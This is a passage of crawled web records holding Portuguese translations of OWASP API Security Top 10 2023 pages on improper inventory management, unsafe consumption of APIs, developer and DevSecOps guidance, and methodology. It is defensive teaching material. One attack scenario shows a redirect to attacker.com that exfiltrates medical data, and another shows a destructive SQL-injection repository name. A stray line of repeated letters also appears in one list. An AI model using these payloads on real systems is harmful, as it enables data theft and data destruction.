Guide](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery)\n\n### Externas\n\n- [CWE-2: Environmental Security Flaws](https://cwe.mitre.org/data/definitions/2.html)\n- [CWE-16: Configuration](https://cwe.mitre.org/data/definitions/16.html)\n- [CWE-209: Generation of Error Message Containing Sensitive Information](https://cwe.mitre.org/data/definitions/209.html)\n- [CWE-319: Cleartext Transmission of Sensitive Information](https://cwe.mitre.org/data/definitions/319.html)\n- [CWE-388: Error Handling](https://cwe.mitre.org/data/definitions/388.html)\n- [CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response\n Smuggling')](https://cwe.mitre.org/data/definitions/444.html)\n- [CWE-942: Permissive Cross-domain Policy with Untrusted Domains](https://cwe.mitre.org/data/definitions/942.html)\n- [Guide to General Server Security](https://csrc.nist.gov/publications/detail/sp/800-123/final) , NIST\n- [Let's Encrypt: a free, automated, and open Certificate Authority](https://letsencrypt.org/)", "znaku_textu": 6893, "slov": 894, "odkazu": 77, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 23:47:57", "sha256": "4806321ea72dc93b71933ef10f51163934a0104069c9af11d107a2fb565fd555", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/2.html", "https://cwe.mitre.org/data/definitions/16.html", "https://cwe.mitre.org/data/definitions/209.html", "https://cwe.mitre.org/data/definitions/319.html", "https://cwe.mitre.org/data/definitions/388.html", "https://cwe.mitre.org/data/definitions/444.html", "https://cwe.mitre.org/data/definitions/942.html", "https://csrc.nist.gov/publications/detail/sp/800-123/final", "https://letsencrypt.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/pt-pt/0xa9-improper-inventory-management/", "titulek": "API9:2023 Improper Inventory Management - OWASP API Security Top 10", "h1": "API9:2023 Improper Inventory Management", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/pt-pt/0xa9-improper-inventory-management/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API9:2023 Improper Inventory Management"}, {"uroven": 2, "text": "A API é vulnerável?"}, {"uroven": 2, "text": "Exemplos de Cenários de Ataque"}, {"uroven": 3, "text": "Cenário #1"}, {"uroven": 3, "text": "Cenário #2"}, {"uroven": 2, "text": "Como Prevenir"}, {"uroven": 2, "text": "Referências"}, {"uroven": 3, "text": "Externas"}], "markdown": "# API9:2023 Improper Inventory Management\n\n| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos |\n| --- | --- | --- |\n| Específico da API : Abuso **Fácil** | Prevalência **Predominante** : Deteção **Moderado** | Técnico **Moderado** : Específico Negócio |\n| Os agentes ameaça geralmente obtêm acesso não autorizado através de versões antigas de APIs ou *endpoints* que permanecem em execução sem atualizações e que utilizam requisitos de segurança mais fracos. Em alguns casos, os *exploits* estão disponíveis online. Alternativamente, podem obter acesso a dados sensíveis através de um terceiro com quem não há razão para compartilhar dados. | Documentação desatualizada torna mais difícil encontrar e/ou corrigir vulnerabilidades. A falta de inventário de recursos e estratégias de desativação leva à execução de sistemas sem atualizações, resultando em vazamentos de dados sensíveis. É comum encontrar hosts de API desnecessariamente expostos devido a conceitos modernos como microserviços, que tornam as aplicações fáceis de implantar e independentes (por exemplo, computação em nuvem, K8S). Um simples Google Dorking, enumeração de DNS ou o uso de motores de busca especializados para vários tipos de servidores (webcams, routers, servidores, etc.) conectados à internet será suficiente para descobrir alvos. | Os atacantes podem obter acesso a dados sensíveis ou até mesmo tomar o controlo do servidor. Às vezes, diferentes versões/implementações da API estão conectadas à mesma base de dados com dados reais. Agentes ameaça podem explorar *endpoints* obsoletos disponíveis em versões antigas da API para obter acesso a funções administrativas ou explorar vulnerabilidades conhecidas. |\n\n## A API é vulnerável?\n\nA natureza dispersa e conectada das APIs e das aplicações modernas traz novos \ndesafios. É importante que as organizações não só tenham uma boa compreensão e \nvisibilidade das suas próprias APIs e *endpoints*, mas também de como as APIs \nestão a armazenar ou a partilhar dados com terceiros.\n\nExecutar múltiplas versões de uma API requer recursos de gestão adicionais do \nfornecedor da API e expande a superfície de ataque.\n\nUma API tem um \"ponto cego de documentação\" se:\n\n- O propósito de um *host* da API é pouco claro e não há respostas explícitas\n para as seguintes perguntas:\n - Em que ambiente está a API a ser executada (por exemplo, produção, *staging* , teste, desenvolvimento)?\n - Quem deve ter acesso à rede da API (por exemplo, público, interno,\n parceiros)?\n - Qual versão da API está em execução?\n- Não existe documentação ou a documentação existente não está atualizada.\n- Não existe um plano de desativação para cada versão da API.\n- O inventário do *host* está em falta ou desatualizado.\n\nA visibilidade e o inventário dos fluxos de dados sensíveis desempenham um papel\nimportante como parte de um plano de resposta a incidentes, caso ocorra uma\nviolação do lado de terceiros.\n\nUma API tem um \"ponto cego de fluxo de dados\" se:\n\n- Existe um \"fluxo de dados sensíveis\" onde a API compartilha dados sensíveis\n com um terceiro e\n - Não existe uma justificação de negócio ou aprovação do fluxo\n - Não existe inventário ou visibilidade do fluxo\n - Não há visibilidade detalhada sobre o tipo de dados sensíveis partilhados\n\n## Exemplos de Cenários de Ataque\n\n### Cenário #1\n\nUma rede social implementou um mecanismo de limitação de frequência de pedidos \nque previne que atacantes possam usar força bruta para adivinhar *tokens* de \nredefinição de *password*. Este mecanismo não foi implementado como parte do \ncódigo da própria API, mas num componente separado entre o cliente e a API \noficial (`api.socialnetwork.owasp.org`). Um investigador encontrou um *host* da \nAPI beta (`beta.api.socialnetwork.owasp.org`) que executa a mesma API, incluindo\no mecanismo de redefinição de *password*, mas sem o mecanismo de limitação de \nfrequência de pedidos. O investigador conseguiu redefinir a *password* de \nqualquer utilizador usando força bruta simples para adivinhar o *token* de 6 \ndígitos.\n\n### Cenário #2\n\nUma rede social permite que desenvolvedores de aplicações independentes se \nintegrem com ela. Como parte desse processo, é solicitado o consentimento do \nutilizador final para que a rede social possa partilhar as informações pessoais \ndo utilizador com a aplicação independente.\n\nO fluxo de dados entre a rede social e as aplicações independentes não é \nsuficientemente restritivo ou monitorizado, permitindo que as aplicações acedam \nnão apenas às informações do utilizador, mas também às informações privadas de \ntodos os seus amigos.\n\nUma empresa de consultoria cria uma aplicação maliciosa e consegue obter o \nconsentimento de 270 mil utilizadores. Devido a essa falha, a empresa de \nconsultoria consegue aceder às informações privadas de 50 milhões de \nutilizadores. Mais tarde, a empresa de consultoria vende as informações para \nfins maliciosos.\n\n## Como Prevenir\n\n- Inventarie todos os *hosts* da API e documentar os aspectos\n importantes de cada um deles, focando no ambiente da API (por exemplo,\n produção, *staging* , teste, desenvolvimento), quem deve ter acesso à rede do *host* (por exemplo, público, interno, parceiros) e a versão da API.\n- Inventarie os serviços integrados e documentar aspectos\n importantes, como o seu papel no sistema, quais dados são trocados (fluxo de\n dados) e a sua sensibilidade.\n- Documente todos os aspectos da sua API, como autenticação, erros,\n redirecionamentos, limitação de frequência de pedidos, política de partilha de\n recursos entre origens (CORS) e *endpoints* , incluindo os seus parâmetros,\n pedidos e respostas.\n- Crie documentação automaticamente adotando padrões abertos. Inclua a\n construção da documentação no seu *pipeline* de CI/CD.\n- Disponibilize a documentação da API apenas para aqueles autorizados a utilizar\n a API.\n- Utilize medidas de proteção externas, como soluções específicas de segurança\n de API, para todas as versões expostas das suas APIs, não apenas para a versão\n de produção atual.\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n- Evite utilizar dados de produção em implementações de API que não são\n produção. Se isso for inevitável, esses *endpoints* devem receber o mesmo\n tratamento de segurança que os de produção.\n- Quando versões mais recentes das APIs incluem melhorias de segurança, realize\n uma análise de risco para informar as ações de mitigação necessárias para as\n versões mais antigas. Por exemplo, se é possível aplicar as melhorias nessas\n versões mais antigas sem quebrar a compatibilidade da API ou se é necessário\n remover rapidamente a versão mais antiga e forçar todos os clientes a migrar\n para a versão mais recente.\n\n## Referências\n\n### Externas\n\n- [CWE-1059: Incomplete Documentation](https://cwe.mitre.org/data/definitions/1059.html)", "znaku_textu": 6666, "slov": 994, "odkazu": 64, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:38:19", "sha256": "9f7d4ebb8918189c7e510b2b8fb3bdbbf1c62b6e25aab519f488fc8b85b00610", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/1059.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/pt-pt/0xaa-unsafe-consumption-of-apis/", "titulek": "API10:2023 Unsafe Consumption of APIs - OWASP API Security Top 10", "h1": "API10:2023 Unsafe Consumption of APIs", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/pt-pt/0xaa-unsafe-consumption-of-apis/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API10:2023 Unsafe Consumption of APIs"}, {"uroven": 2, "text": "A API é vulnerável?"}, {"uroven": 2, "text": "Exemplos de Cenários de Ataque"}, {"uroven": 3, "text": "Cenário #1"}, {"uroven": 3, "text": "Cenário #2"}, {"uroven": 3, "text": "Cenário #3"}, {"uroven": 2, "text": "Como Prevenir"}, {"uroven": 2, "text": "Referências"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externas"}], "markdown": "# API10:2023 Unsafe Consumption of APIs\n\n| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos |\n| --- | --- | --- |\n| Específico da API : Abuso **Fácil** | Prevalência **Comum** : Deteção **Moderado** | Técnico **Severo** : Específico Negócio |\n| Explorar este problema requer que os atacantes identifiquem e potencialmente comprometam outras APIs/serviços com os quais a API alvo está integrada. Normalmente, esta informação não está disponível publicamente ou a API/serviço integrado não é facilmente explorável. | Os desenvolvedores tendem a confiar e não a verificar os *endpoints* que interagem com APIs externas ou de terceiros, dependendo de requisitos de segurança mais fracos, como aqueles relacionados à segurança do transporte, autenticação/autorização e validação e sanitização de dados. Os atacantes precisam identificar os serviços com os quais a API alvo se integra (fontes de dados) e, eventualmente, comprometer esses serviços. | O impacto varia de acordo com o que a API alvo faz com os dados extraídos. A exploração bem sucedida pode levar à exposição de informações sensíveis a atores não autorizados, a vários tipos de injeções ou à negação de serviço. |\n\n## A API é vulnerável?\n\nOs desenvolvedores tendem a confiar mais nos dados recebidos de APIs de \nterceiros do que nos dados fornecidos por utilizadores. Isso é especialmente \nverdade para APIs oferecidas por empresas bem conhecidas. Por essa razão, os \ndesenvolvedores tendem a adotar padrões de segurança mais fracos, especialmente \nno que diz respeito à validação e sanitização de dados.\n\nA API pode estar vulnerável se:\n\n- Interage com outras APIs através de um canal não encriptado;\n- Não valida e sanitiza corretamente os dados recolhidos de outras APIs antes de\n os processar ou de os passar para componentes posteriores;\n- Segue redirecionamentos cegamente;\n- Não limita o número de recursos disponíveis para processar respostas de\n serviços de terceiros;\n- Não implementa limites de tempo para interações com serviços de terceiros;\n\n## Exemplos de Cenários de Ataque\n\n### Cenário #1\n\nUma API depende de um serviço de terceiros para enriquecer os endereços \ncomerciais fornecidos pelos utilizadores. Quando um endereço é fornecido pelo \nutilizador final à API, ele é enviado para o serviço de terceiros e os dados \nretornados são então armazenados numa base de dados local compatível com SQL.\n\nAtacantes utilizam o serviço de terceiros para armazenar um conteúdo malicioso \nde injeção SQL (SQLi) associado a um negócio criado por eles. Em seguida, visam \na API vulnerável fornecendo um conteúdo específico que faz com que esta obtenha \no \"negócio malicioso\" do serviço de terceiros. O conteúdo de SQLi acaba por ser \nexecutado pela base de dados, exfiltrando dados para um servidor controlado pelo\natacante.\n\n### Cenário #2\n\nUma API integra-se com um fornecedor de serviços de terceiros para armazenar com\nsegurança informações médicas sensíveis dos utilizadores. Os dados são enviados \natravés de uma conexão segura usando um pedido HTTP como o abaixo:\n\n```\nPOST /user/store_phr_record\n{\n \"genome\": \"ACTAGTAG__TTGADDAAIICCTT…\"\n}\n```\n\nAtacantes encontraram uma forma de comprometer a API de terceiros, que começa a \nresponder com um `308 Permanent Redirect` a pedidos como o anterior.\n\n```\nHTTP/1.1 308 Permanent Redirect\nLocation: https://attacker.com/\n```\n\nComo a API segue cegamente os redirecionamentos do terceiro, ela repetirá \nexatamente o mesmo pedido, incluindo os dados sensíveis do utilizador, mas desta\nvez para o servidor do atacante.\n\n### Cenário #3\n\nUm atacante pode preparar um repositório git chamado `'; drop db;--`.\n\nAgora, quando uma integração de uma aplicação atacada é feita com o repositório \nmalicioso, uma carga de injeção SQL é utilizada numa aplicação que constrói uma \nconsulta SQL, acreditando que o nome do repositório é um conteúdo seguro.\n\n## Como Prevenir\n\n- Ao avaliar fornecedores de serviços, analise a postura de segurança das suas\n APIs.\n- Garanta que todas as interações com APIs ocorram através de um canal de\n comunicação seguro (TLS).\n- Valide e sanitize sempre os dados recebidos de APIs integradas antes de os\n utilizar.\n- Mantenha uma lista de permissões de locais conhecidos para os quais as APIs\n integradas podem redirecionar a sua: não siga redirecionamentos cegamente.\n\n## Referências\n\n### OWASP\n\n- [Web Service Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html)\n- [Injection Flaws](https://www.owasp.org/index.php/Injection_Flaws)\n- [Input Validation Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n- [Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n- [Transport Layer Protection Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html)\n- [Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n\n### Externas\n\n- [CWE-20: Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)\n- [CWE-200: Exposure of Sensitive Information to an Unauthorized Actor](https://cwe.mitre.org/data/definitions/200.html)\n- [CWE-319: Cleartext Transmission of Sensitive Information](https://cwe.mitre.org/data/definitions/319.html)", "znaku_textu": 5249, "slov": 685, "odkazu": 74, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:38:23", "sha256": "8913743dc60ee392d0df0d2498db3b618aa22850bf91b765e3f48985261cbe0a", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html", "https://www.owasp.org/index.php/Injection_Flaws", "https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/20.html", "https://cwe.mitre.org/data/definitions/200.html", "https://cwe.mitre.org/data/definitions/319.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/pt-pt/0xb0-next-devs/", "titulek": "O Que Se Segue Para Programadores - OWASP API Security Top 10", "h1": "O Que Se Segue Para Programadores", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/pt-pt/0xb0-next-devs/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "O Que Se Segue Para Programadores"}], "markdown": "# O Que Se Segue Para Programadores\n\nA tarefa de criar e manter aplicações seguras, ou corrigir aplicações \nexistentes, pode ser difícil. Não é diferente para as APIs.\n\nAcreditamos que educação e consciencialização são fatores chave para o\ndesenvolvimento de software seguro. Tudo o mais necessário para alcançar este\nobjetivo depende da **definição e utilização de processos de segurança\nreprodutíveis e do uso de controlos de segurança *standard***.\n\nA OWASP disponibiliza uma grande quantidade de recursos gratuitos e abertos para\nabordar a segurança. Por favor visite a [página dos projetos OWASP](https://owasp.org/projects/) para \nconsulta da lista dos projetos existentes.\n\n| | |\n| --- | --- |\n| **Educação** | O [Application Security Wayfinder](https://owasp.org/projects/#owasp-projects-the-sdlc-and-the-security-wayfinder) deve oferecer uma boa ideia sobre quais projetos estão disponíveis para cada etapa/fase do Ciclo de Vida do Desenvolvimento de Software (SDLC). Para aprendizagem prática/treino, pode começar com [OWASP **crAPI** - **C**ompletely **R**idiculous **API**](https://owasp.org/www-project-crapi/) ou [OWASP Juice Shop](https://owasp.org/www-project-juice-shop/): ambos possuem APIs intencionalmente vulneráveis. O [OWASP Vulnerable Web Applications Directory Project](https://owasp.org/www-project-vulnerable-web-applications-directory/) fornece uma lista curada de aplicações intencionalmente vulneráveis: lá encontrará várias outras APIs vulneráveis. Também pode participar em sessões de treino da [OWASP AppSec Conference](https://owasp.org/events/) ou [juntar-se ao seu chapter local](https://owasp.org/chapters/). |\n| **Requisitos de Segurança** | A segurança deve fazer parte de qualquer projeto desde o início. É importante que, durante a fase de identificação de requisitos, seja definido o que é que “seguro” significa no contexto desse projeto. A OWASP recomenda a utilização do [OWASP Application Security Verification Standard (ASVS)](https://owasp.org/www-project-application-security-verification-standard/) como guia para definir os requisitos de segurança. Se estiver a subcontratar, considere ao invés a utilização do [OWASP Secure Software Contract Annex](https://owasp.org/www-community/OWASP_Secure_Software_Contract_Annex), o qual deverá adaptar às leis e regulamentações locais. |\n| **Arquitetura de Segurança** | A segurança deve ser uma preocupação durante todas as fases dum projeto. O projeto [OWASP Prevention Cheat Sheets](https://cheatsheetseries.owasp.org/) é um bom ponto inicial de orientação sobre como contemplar a segurança durante a fase de arquitetura. Entre outros, o [REST Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html) e o [REST Assessment Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/REST_Assessment_Cheat_Sheet.html) serão seguramente relevantes, como também o [GraphQL Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html). |\n| **Controlos Standard de Segurança** | A adoção de controlos standard de segurança reduzem o risco de introdução de falhas de segurança durante a implementação da lógica de negócio. Apesar de muitas *frameworks* modernas já incluírem controlos standard, o projeto [OWASP Proactive Controls](https://owasp.org/www-project-proactive-controls/) dá-lhe uma boa visão sobre que controlos de segurança deve incluir no seu projeto. A OWASP também disponibiliza algumas bibliotecas e ferramentas que pode achar úteis, tais como controlos de validação. |\n| **Ciclo de Desenvolvimento de Software Seguro** | Pode usar o [OWASP Software Assurance Maturity Model (SAMM)](https://owasp.org/www-project-samm/) para melhorar o processo de desenvolvimento de APIs. Tem ainda disponíveis vários outros projetos OWASP para o ajudar durante as várias fases de desenvolvimento de APIs, por exemplo o [OWASP Code Review Guide](https://owasp.org/www-project-code-review-guide/). |", "znaku_textu": 3871, "slov": 481, "odkazu": 72, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:38:27", "sha256": "e238ae162a4cff9761fe86d23732d18574c7d3624b64b4d2881050041b98660a", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cheatsheetseries.owasp.org/", "https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/REST_Assessment_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/pt-pt/0xb1-next-devsecops/", "titulek": "O Que Se Segue Para DevSecOps - OWASP API Security Top 10", "h1": "O Que Se Segue Para DevSecOps", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/pt-pt/0xb1-next-devsecops/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "O Que Se Segue Para DevSecOps"}], "markdown": "# O Que Se Segue Para DevSecOps\n\nDada a sua importância na arquitetura das aplicações modernas, desenvolver APIs\nseguras é crucial. A segurança não pode ser negligenciada e deve estar presente\ndurante todo o clico de vida do desenvolvimento. Já não basta a execução de\n*scanners* ou a realização de testes de penetração anualmente.\n\nA equipa de DevSecOps deve fazer parte do esforço de desenvolvimento\ncontribuindo para a realização de testes de segurança, de forma continuada,\ndurante todo o ciclo de vida do desenvolvimento. Deve ter como objetivo melhorar\na *pipeline* de desenvolvimento com automação de segurança e sem influenciar\nnegativamente o ritmo do desenvolvimento.\n\nEm caso de dúvida mantenha-se informado e reveja o [Manifesto DevSecOps](https://www.devsecops.org/).\n\n| | |\n| --- | --- |\n| **Compreenda o Modelo de Ameaças** | As prioridades relativamente ao que deve ser testado têm origem no modelo de ameaças. Se não tem um, considere usar o [OWASP Application Security Verification Standard (ASVS)](https://owasp.org/www-project-application-security-verification-standard/) e o [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/) como base. Envolver a equipa de desenvolvimento na elaboração do modelo de ameaças pode torná-la mais consciente para questões relacionadas com segurança. |\n| **Compreenda o Ciclo de Vida do Desenvolvimento do Software** | Reúna a equipa de desenvolvimento para melhor compreender o ciclo de vida do desenvolvimento do software. O seu contributo para a realização continua de testes de segurança deve ser compatível com as pessoas, processos e ferramentas. Todos devem concordar com o processo, de forma a não provocar atrito ou resistência desnecessários. |\n| **Estratégias de Teste** | Sendo que o seu trabalho não deve condicionar o ritmo de desenvolvimento, deverá escolher cuidadosamente a melhor (mais simples, rápida e precisa) técnica para verificar os requisitos de segurança. A [OWASP Security Knowledge Framework](https://owasp.org/www-project-security-knowledge-framework/) e o [OWASP Application Security Verification Standard](https://owasp.org/www-project-application-security-verification-standard/) podem ser importantes fontes de requisitos de segurança funcionais e não-funcionais. Existem outras fontes relevantes onde poderá encontrar [projetos](http://devsecops.github.io/) e [ferramentas](https://github.com/devsecops/awesome-devsecops) como aquelas disponibilizadas pela [comunidade DevSecOps](http://devsecops.org). |\n| **Procure Alcançar Cobertura e Precisão** | Você é a ponte entre as equipas de desenvolvimento e operações. Para alcançar cobertura, deve não só focar-se na funcionalidade, mas também na orquestração. Trabalhe junto de ambas as equipas desde o início por forma a otimizar o seu tempo e esforço. Deve almejar um estado em que o essencial da segurança é verificado de forma continua. |\n| **Comunique as Falhas de Forma Clara** | Entregue valor evitando qualquer atrito. Comunique as falhas identificadas atempadamente, usando as ferramentas que a equipa de desenvolvimento já utiliza (e não através de ficheiros PDF). Junte-se à equipa de desenvolvimento para resolver as falhas identificadas. Aproveite a oportunidade para educar os elementos da equipa de desenvolvimento, descrevendo de forma clara a falha e como esta pode ser abusada, incluindo um cenário de ataque para a tornar mais real. |", "znaku_textu": 3350, "slov": 467, "odkazu": 63, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:38:37", "sha256": "951248144cc222898c2ebc79905de0a9d044516937d33b7fc1eee7153228653e", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.devsecops.org/", "http://devsecops.github.io/", "https://github.com/devsecops/awesome-devsecops", "http://devsecops.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/pt-pt/0xd0-about-data/", "titulek": "Metodologia e Dados - OWASP API Security Top 10", "h1": "Metodologia e Dados", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/pt-pt/0xd0-about-data/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Metodologia e Dados"}, {"uroven": 2, "text": "Preâmbulo"}, {"uroven": 2, "text": "Metodologia"}, {"uroven": 2, "text": "Riscos Específicos de APIs"}], "markdown": "# Metodologia e Dados\n\n## Preâmbulo\n\nPara esta atualização da lista, a equipa de Segurança de API da OWASP utilizou a\nmesma metodologia adotada com sucesso para a lista de 2019, com a adição de um \n[Pedido Público por Dados](https://owasp.org/www-project-api-security/announcements/cfd/2022/) de 3 meses. Infelizmente, este pedido não resultou\nem dados que permitissem uma análise estatística relevante sobre os problemas de\nsegurança de API mais comuns.\n\nContudo, com uma indústria de segurança de API mais madura e capaz de fornecer \nfeedback e informações diretamente, o processo de atualização avançou usando a \nmesma metodologia de antes.\n\nChegados a este ponto, acreditamos ter um bom documento de consciencialização \npara os próximos três ou quatro anos, mais focado nas questões específicas das \nAPIs modernas. O objetivo deste projeto não é substituir outras listas de top \n10, mas sim cobrir os principais riscos de segurança de API atuais e emergentes,\nsobre os quais acreditamos que a indústria deve estar atenta e ser diligente.\n\n## Metodologia\n\nNa primeira fase, dados publicamente disponíveis sobre incidentes de segurança \nem APIs foram recolhidos, revistos e categorizados. Esses dados foram obtidos de\nplataformas de *bug bounty* e relatórios públicos. Apenas problemas reportados \nentre 2019 e 2022 foram considerados. Esses dados ajudaram a equipa a entender \nem que direção a lista de top 10 anterior deveria evoluir, assim como a lidar \ncom possíveis vieses dos dados contribuídos.\n\nUm [Pedido Público por Dados](https://owasp.org/www-project-api-security/announcements/cfd/2022/) foi realizado de 1 de Setembro a 30 de Novembro\nde 2022. Em paralelo, a equipa do projeto iniciou a discussão sobre o que mudou \ndesde 2019. A discussão incluiu o impacto da primeira lista, o feedback recebido\nda comunidade e novas tendências na segurança de APIs.\n\nA equipa do projeto promoveu reuniões com especialistas sobre ameaças relevantes\nà segurança de APIs para obter informações sobre como as vítimas são impactadas \ne como essas ameaças podem ser mitigadas.\n\nEste esforço resultou num rascunho inicial do que a equipa acredita serem os dez\nriscos mais críticos de segurança para APIs. A [Metodologia de Classificação de \nRisco da OWASP](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology) foi utilizada para realizar a análise de riscos. As \nclassificações de prevalência foram decididas por consenso entre os membros da \nequipa do projeto, com base na sua experiência na área. Para considerações sobre\nesses temas, consulte a secção [Riscos de Segurança em APIs](../0x10-api-security-risks/).\n\nO rascunho inicial foi então compartilhado para revisão com profissionais de \nsegurança com experiência relevante na área de segurança de APIs. Os seus \ncomentários foram analisados, discutidos e, quando aplicável, incluídos no \ndocumento. O documento resultante foi [publicado como uma Versão Candidata](https://owasp.org/www-project-api-security/announcements/2023/02/api-top10-2023rc) \npara [discussão aberta](https://github.com/OWASP/API-Security/issues?q=is%3Aissue+label%3A2023RC). Várias [contribuições da comunidade](https://github.com/OWASP/API-Security/pulls?q=is%3Apr+label%3A2023RC) foram \nincorporadas no documento final.\n\nA lista de contribuidores está disponível na secção de [Agradecimentos](../0xd1-acknowledgments/).\n\n## Riscos Específicos de APIs\n\nA lista foi elaborada para abordar riscos de segurança que são mais específicos \npara APIs.\n\nNão implica que outros riscos genéricos de segurança de aplicações não existam \nem aplicações baseadas em APIs. Por exemplo, não incluímos riscos como \n\"Componentes Vulneráveis e Desatualizados\" ou \"Injeção\", embora você possa \nencontrá-los em aplicações baseadas em APIs. Esses riscos são genéricos, não se \ncomportam de forma diferente em APIs, nem a sua exploração é diferente.\n\nO nosso objetivo é aumentar a conscientização sobre os riscos de segurança que \nmerecem atenção especial em APIs.", "znaku_textu": 3951, "slov": 553, "odkazu": 64, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:38:56", "sha256": "23466973b1cebbc8895bf93f80c262b6c158481e064baf5546bbbdc176b6531d", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology", "https://github.com/OWASP/API-Security/issues?q=is%3Aissue+label%3A2023RC", "https://github.com/OWASP/API-Security/pulls?q=is%3Apr+label%3A2023RC", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/pt-pt/0xd1-acknowledgments/", "titulek": "Agradecimentos - OWASP API Security Top 10", "h1": "Agradecimentos", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/pt-pt/0xd1-acknowledgments/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Agradecimentos"}, {"uroven": 2, "text": "Agradecimento ao Contribuidores"}], "markdown": "# Agradecimentos\n\n## Agradecimento ao Contribuidores\n\nGostaríamos de agradecer às 